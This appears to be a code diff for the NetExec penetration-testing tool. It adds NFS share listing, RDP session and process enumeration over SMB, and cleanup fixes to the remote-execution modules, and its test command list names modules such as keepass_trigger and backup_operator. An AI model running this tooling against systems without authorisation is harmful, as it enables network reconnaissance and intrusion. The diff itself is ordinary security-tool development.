# However, they can still be looked up individually is missing
for item in content:
if not item["name_attributes"]["present"]:
try:
res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth)
item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"]
item["name_attributes"]["present"] = True
item["name_handle"]["handle"] = res["resok"]["object"]
item["name_handle"]["present"] = True
except Exception as e:
self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}")
# If the requested path is a file, we filter out all other files
path = f"{self.args.share if self.args.share else ''}/{self.args.ls}"
if is_file:
content = [x for x in content if x["name"].decode() == sub_path]
path = path.rsplit("/", 1)[0] # Remove the file from the path
self.print_directory(content, path)
def print_directory(self, content, path):
"""
Highlight log the content of the directory provided by a READDIRPLUS call.
Expects an FORMATED output of self.format_directory.
"""
self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}")
self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}")
for item in content:
if not item["name_attributes"]["present"] or not item["name_handle"]["present"]:
uid = "-"
perms = "----"
file_size = "-"
else:
uid = item["name_attributes"]["attributes"]["uid"]
is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-"
read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
file_size = convert_size(item["name_attributes"]["attributes"]["size"])
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
def format_directory(self, raw_directory):
"""Convert the chained directory entries to a list of the entries"""
if "resfail" in raw_directory:
self.logger.debug("Insufficient Permissions, NFS returned 'resfail'")
return {}
items = []
nextentry = raw_directory["resok"]["reply"]["entries"][0]
while nextentry:
entry = nextentry
nextentry = entry["nextentry"][0] if entry["nextentry"] else None
entry.pop("nextentry")
items.append(entry)
# Sort by name to be linux-like
return sorted(items, key=lambda x: x["name"].decode())
def update_auth(self, file_handle):
"""Update the UID and GID for the file handle"""
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}")
self.auth["uid"] = attrs["attributes"]["uid"]
self.auth["gid"] = attrs["attributes"]["gid"]
def convert_size(size_bytes):
if size_bytes == 0:
+2
View File
@@ -4,8 +4,10 @@ def proto_args(parser, parents):
nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)")
dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS")
dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file")
dgroup.add_argument("--shares", action="store_true", help="List NFS shares")
dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)")
dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /")
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
+160 -3
View File
@@ -29,6 +29,7 @@ from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE
from impacket.dcerpc.v5 import tsts as TSTS
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
@@ -870,6 +871,162 @@ class smb(connection):
self.logger.debug(f"ps_execute response: {response}")
return response
def get_session_list(self):
with TSTS.TermSrvEnumeration(self.conn, self.host, self.kerberos) as lsm:
handle = lsm.hRpcOpenEnum()
rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"]
lsm.hRpcCloseEnum(handle)
sessions = {}
for i in rsessions:
sess = i["SessionInfo"]["SessionEnum_Level1"]
state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1]
sessions[sess["SessionId"]] = {
"state": state,
"SessionName": sess["Name"],
"RemoteIp": "",
"ClientName": "",
"Username": "",
"Domain": "",
"Resolution": "",
"ClientTimeZone": ""
}
return sessions
def enumerate_sessions_info(self, sessions):
if len(sessions):
with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession:
for SessionId in sessions:
sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId)
sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"])
sessions[SessionId]["flags"] = sessflags
domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"]
if not len(sessions[SessionId]["Domain"]) and len(domain):
sessions[SessionId]["Domain"] = domain
username = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["UserName"]
if not len(sessions[SessionId]["Username"]) and len(username):
sessions[SessionId]["Username"] = username
sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"]
sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"]
sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"]
sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"]
with TSTS.RCMPublic(self.conn, self.host, self.kerberos) as rcm:
for SessionId in sessions:
try:
client = rcm.hRpcGetRemoteAddress(SessionId)
if not client:
continue
sessions[SessionId]["RemoteIp"] = client["pRemoteAddress"]["ipv4"]["in_addr"]
except Exception as e:
self.logger.debug(f"Error getting client address for session {SessionId}: {e}")
@requires_admin
def qwinsta(self):
desktop_states = {
"WTS_SESSIONSTATE_UNKNOWN": "",
"WTS_SESSIONSTATE_LOCK": "Locked",
"WTS_SESSIONSTATE_UNLOCK": "Unlocked",
}
sessions = self.get_session_list()
if not len(sessions):
return
self.enumerate_sessions_info(sessions)
maxSessionNameLen = max([len(sessions[i]["SessionName"]) + 1 for i in sessions])
maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME") + 1
maxUsernameLen = max([len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions]) + 1
maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username") + 1
maxIdLen = max([len(str(i)) for i in sessions])
maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID") + 1
maxStateLen = max([len(sessions[i]["state"]) + 1 for i in sessions])
maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE") + 1
maxRemoteIp = max([len(sessions[i]["RemoteIp"]) + 1 for i in sessions])
maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1
maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions])
maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1
template = ("{SESSIONNAME: <%d} "
"{USERNAME: <%d} "
"{ID: <%d} "
"{IPv4: <16} "
"{STATE: <%d} "
"{DSTATE: <9} "
"{CONNTIME: <20} "
"{DISCTIME: <20} ") % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen)
result = []
header = template.format(
SESSIONNAME="SESSIONNAME",
USERNAME="USERNAME",
ID="ID",
IPv4="IPv4 Address",
STATE="STATE",
DSTATE="Desktop",
CONNTIME="ConnectTime",
DISCTIME="DisconnectTime",
)
header2 = template.replace(" <", "=<").format(
SESSIONNAME="",
USERNAME="",
ID="",
IPv4="",
STATE="",
DSTATE="",
CONNTIME="",
DISCTIME="",
)
result.extend((header, header2))
for i in sessions:
connectTime = sessions[i]["ConnectTime"]
connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None"
disconnectTime = sessions[i]["DisconnectTime"]
disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None"
userName = sessions[i]["Domain"] + "\\" + sessions[i]["Username"] if len(sessions[i]["Username"]) else ""
result.append(template.format(
SESSIONNAME=sessions[i]["SessionName"],
USERNAME=userName,
ID=i,
IPv4=sessions[i]["RemoteIp"],
STATE=sessions[i]["state"],
DSTATE=desktop_states[sessions[i]["flags"]],
CONNTIME=connectTime,
DISCTIME=disconnectTime,
))
self.logger.success("Enumerated qwinsta sessions")
for row in result:
self.logger.highlight(row)
@requires_admin
def tasklist(self):
with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy:
try:
handle = legacy.hRpcWinStationOpenServer()
res = legacy.hRpcWinStationGetAllProcesses(handle)
except Exception as e:
# TODO: Issue https://github.com/fortra/impacket/issues/1816
self.logger.debug(f"Exception while calling hRpcWinStationGetAllProcesses: {e}")
return
if not res:
return
self.logger.success("Enumerated processes")
maxImageNameLen = max([len(i["ImageName"]) for i in res])
maxSidLen = max([len(i["pSid"]) for i in res])
template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen)
self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage"))
self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", ""))
for procInfo in res:
row = template.format(
procInfo["ImageName"],
procInfo["UniqueProcessId"],
procInfo["SessionId"],
procInfo["pSid"],
"{:,} K".format(procInfo["WorkingSetSize"] // 1000),
)
self.logger.highlight(row)
def shares(self):
temp_dir = ntpath.normpath("\\" + gen_random_string())
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
@@ -1084,7 +1241,7 @@ class smb(connection):
dc_ips.append(self.host)
return dc_ips
def sessions(self):
def smb_sessions(self):
try:
sessions = get_netsession(
self.host,
@@ -1099,8 +1256,8 @@ class smb(connection):
if session.sesi10_cname.find(self.local_ip) == -1:
self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}")
return sessions
except Exception:
pass
except Exception as e:
self.logger.debug(e)
def disks(self):
disks = []
+3 -1
View File
@@ -207,8 +207,10 @@ class TSCH_EXEC:
else:
self.logger.debug(str(e))
if self.__outputBuffer:
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
smbConnection.deleteFile(self.__share, self.__output_filename)
except Exception:
pass
dce.disconnect()
+3 -1
View File
@@ -280,6 +280,8 @@ class MMCEXEC:
else:
self.logger.debug(str(e))
if self.__outputBuffer:
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
+2 -2
View File
@@ -23,7 +23,7 @@ def convert(low, high, lockout=False):
time = ""
tmp = 0
if low == 0 and hex(high) == "-0x80000000":
if low == 0 and high == -0x8000_0000 or low == 0 and high == -0x8000_0000_0000_0000:
return "Not Set"
if low == 0 and high == 0:
return "None"
@@ -35,7 +35,7 @@ def convert(low, high, lockout=False):
high = abs(high)
low = abs(low)
tmp = low + (high) * 16**8 # convert to 64bit int
tmp = low + (high << 32) # convert to 64bit int
tmp *= 1e-7 # convert to seconds
else:
tmp = abs(high) * (1e-7)
+4 -2
View File
@@ -41,7 +41,7 @@ def proto_args(parser, parents):
mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces")
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="enumerate active smb sessions")
mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks")
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
@@ -51,7 +51,9 @@ def proto_args(parser, parents):
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
mapping_enum_group.add_argument("--qwinsta", action="store_true", help="Enumerate RDP connections")
mapping_enum_group.add_argument("--tasklist", action="store_true", help="Enumerate running processes")
wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace")
+3 -1
View File
@@ -172,9 +172,11 @@ class SMBEXEC:
else:
self.logger.debug(str(e))
if self.__outputBuffer:
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
def execute_fileless(self, data):
self.__output = gen_random_string(6)
+3 -1
View File
@@ -171,6 +171,8 @@ class WMIEXEC:
else:
self.logger.debug(f"Exception when trying to read output file: {e}")
if self.__outputBuffer:
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
Generated
+3 -3
View File
@@ -893,7 +893,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2
[[package]]
name = "impacket"
version = "0.13.0.dev0+20241125.162952.ea27e8b2"
version = "0.13.0.dev0+20250220.93348.6315ebd5"
description = "Network protocols Constructors and Dissectors"
optional = false
python-versions = "*"
@@ -917,7 +917,7 @@ six = "*"
type = "git"
url = "https://github.com/fortra/impacket.git"
reference = "HEAD"
resolved_reference = "ea27e8b2dfedf57370d2f65c5053a2b8eeb8ca9d"
resolved_reference = "6315ebd5388cf5bf52a809b8101f18d49c6a0ef7"
[[package]]
name = "iniconfig"
@@ -1870,7 +1870,7 @@ develop = false
type = "git"
url = "https://github.com/Pennyw0rth/NfsClient"
reference = "HEAD"
resolved_reference = "a94a3254b279dc49395caecf27ec097a71eea91b"
resolved_reference = "0fa1c048394f601d565c6301880da84912b8245a"
[[package]]
name = "pyopenssl"
+1
View File
@@ -89,6 +89,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M backup_operator
# currently hanging indefinitely - TODO: look into this
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"